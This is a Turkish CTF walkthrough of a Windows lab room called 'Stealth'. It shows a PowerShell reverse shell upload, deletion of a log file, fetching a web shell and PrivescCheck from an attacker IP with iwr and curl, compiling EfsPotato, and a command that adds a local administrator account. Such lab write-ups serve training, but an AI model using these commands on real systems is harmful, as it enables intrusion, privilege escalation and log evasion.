Post

Stealth

What is the content of the user level flag?

Odanın açıklamasında 8080 portuna gitmemiz istenmiş.

Powershell script’i yükleyebileceğimiz bir sayfa açılıyor. Gerekli reverse shell dosyasını buradan indirebilirsiniz. IP ve portu değiştirmeyi unutmayın.

Script’i yükledikten birkaç saniye sonra shellimizi alıyoruz.

User Flag “C:\Users\evader\Desktop” dizininde.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
    Directory: C:\Users\evader\Desktop


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----        6/21/2016   3:36 PM            527 EC2 Feedback.website                                                  
-a----        6/21/2016   3:36 PM            554 EC2 Microsoft Windows Guide.website                                   
-a----         8/3/2023   7:12 PM            194 encodedflag                                                           


SHELL> cat encodedflag
-----BEGIN CERTIFICATE-----
WW91IGNhbiBnZXQgdGhlIGZsYWcgYnkgdmlzaXRpbmcgdGhlIGxpbmsgaHR0cDov
LzxJUF9PRl9USElTX1BDPjo4MDAwL2FzZGFzZGFkYXNkamFramRuc2Rmc2Rmcy5w
aHA=
-----END CERTIFICATE-----

Base64 dizesi. Decode edelim.

1
2
3
┌──(root㉿kali)-[~]
└─# echo WW91IGNhbiBnZXQgdGhlIGZsYWcgYnkgdmlzaXRpbmcgdGhlIGxpbmsgaHR0cDovLzxJUF9PRl9USElTX1BDPjo4MDAwL2FzZGFzZGFkYXNkamFramRuc2Rmc2Rmcy5waHA= | base64 -d 
You can get the flag by visiting the link http://<IP_OF_THIS_PC>:8000/asdasdadasdjakjdnsdfsdfs.php   

Siteyi ziyaret edelim.

Taklaya geldik :( log dosyasını silmemiz istenmiş.

log.txt dosyası C:\xampp\htdocs\uploads dizininde

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
SHELL> ls 


    Directory: C:\xampp\htdocs\uploads


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----         8/1/2023   5:10 PM            132 hello.ps1                                                             
-a----        8/17/2023   4:58 AM              0 index.php                                                             
-a----         5/6/2024   1:47 AM            302 log.txt                                                               
-a----         5/6/2024   1:47 AM           1460 powershell-reverse-shell.ps1                                          
-a----         9/4/2023   3:18 PM            771 vulnerable.ps1                                                        


SHELL> rm log.txt

log dosyasını sildikten sonra ilk bayrağımızı alıyoruz.

What is the content of the root level flag?

PrivescCheck.ps1 dosyasını indirelim.

python3 -m http.server 80 komutu ile web servisini çalıştırdım.

iwr -uri "http://10.9.0.137/PrivescCheck.ps1" -o PrivescCheck.ps1 komutu ile dosyayı makineye yükledim.

Ardından Powershell script’ini çalıştırıyorum. powershell -ep bypass -c ". .\privesc.ps1; Invoke-privesc"

whoami /priv komutu ile evader kullanıcısının izinlerini kontrol ediyorum.

1
2
3
4
5
6
7
8
9
SHELL> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State   
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

C:\xampp\htdocs dizinine p0wnyshell yükledim.

iwr -uri "http://10.9.0.137/shell.php" -o shell.php

http://10.10.37.152:8080/shell.php dizinine gidip shellimizi alalım.

EfsPotato dosyasını indirdim ve makineye yükledim.

curl http://10.9.0.137/EfsPotato.cs -o C:\xampp\htdocs\efs.cs

C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe efs.cs -nowarn:1691,618 komutu ile dosyayı compile edin.

Şimdi EfsPotato kullanarak SemlpersonatePrivilage açığından yararlanalım ve yetkimizi yükseltelim.

Administators grubuna yetkili bir kullanıcı ekleyeceğiz.

efs.exe "cmd.exe /c net user user password /add && net localgroup administrators user /add"

Remmina’yla makineye bağlanalım.

ve root bayrağını alalım.

This post is licensed under CC BY 4.0 by the author.